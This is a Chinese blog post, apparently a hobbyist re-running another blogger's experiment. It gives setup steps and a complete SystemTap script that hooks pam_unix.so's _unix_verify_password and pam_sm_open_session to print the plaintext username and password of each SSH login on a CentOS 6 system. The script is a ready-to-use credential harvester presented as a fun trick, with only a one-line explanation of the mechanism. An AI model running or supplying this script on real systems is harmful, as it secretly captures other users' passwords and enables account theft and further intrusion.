使用systemtap抓取ssh登录的用户名和密码
本文章是来源于老徐的博客,原文链接为:http://laoxu.blog.51cto.com/4120547/1331878。
无意之中看到老徐的这篇文章,小白觉得很好玩,就按照老徐的步骤及方法重新来了一遍。的确很强大,故又完全按照老徐的步骤在自己的机器上把玩一下,以记录之。
小白的测试环境:
操作系统:CentOS 6.5 64bit
内核版本:2.6.32-573.8.1.el6.x86_64
由于老徐的文章中,先使用“yum update”更新了系统的RPM包,我没有更新,遇到了问题。系统提示“mismatch (2.6.32-431.el6.x86_64 2.6.32-573.8.1.el6.x86_64)”。然后,检查了一下/lib/modules/目录下的文件,发现只有2.6.32-431.el6.x86_64。那就是缺少了2.6.32-573.8.1.el6.x86_64的内核包了,于是升级了系统的RPM包,问题解决之。
在老徐的文章中,又指出,要安装与pam_unix.so相关的debuginfo包,我没有进行安装,也是出了问题,故安装了相关的debuginfo的RPM包。“debuginfo-install $(rpm -qf /lib64/security/pam_unix.so)”
1
2
3
4
5
6
7
8
9
10
|
# debuginfo-install $(rpm -qf /lib64/security/pam_unix.so) # 这一步安装了与pam相关的调试包,主要安装了如下包: # audit-debuginfo # cracklib-debuginfo # db4-debuginfo # glibc-debuginfo # libselinux-debuginfo # pam-debuginfo # yum-plugin-auto-update-debug-info # glibc-debuginfo-common |
有了上面的基础工作,才可以进行下面的操作啊,有的网友也是使用了64位的操作系统,但是没有做成功,我觉得完全是个人的原因,出现了问题自己不去解决,只会寻求帮助。
下面是老徐的stap脚本,内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
[[email protected] unix] # cat capture_pass.tap
#!/usr/bin/stap global username, pass, isSuccRet = 1; probe process( "/lib64/security/pam_unix.so" ). function ( "_unix_verify_password" )
{ username = user_string($name);
pass = user_string($p);
} probe process( "/lib64/security/pam_unix.so" ). function ( "_unix_verify_password" ). return
{ if ($ return == 0)
{
printf ( "User: %s\nPassword: %s\n\n" , username, pass);
isSuccRet = 0;
}
} probe process( "/lib64/security/pam_unix.so" ). function ( "pam_sm_open_session" )
{ if (isSuccRet != 0)
{
printf ( "Login via ssh service.\n\User: %s\nPassword: %s\n\n" , username, pass);
}
isSuccRet = 1;
} |
就把/lib/security/pam_unix.so改成了/lib64/security/pam_unix.so。
接下来就可以测试了。来看个图吧,步骤都写在图里了:
运用的原理是:主要是对PAM模块pam_unix.so库文件的函数调用进行捕获,因为用户登录认证需要使用pam_unix.so库文件。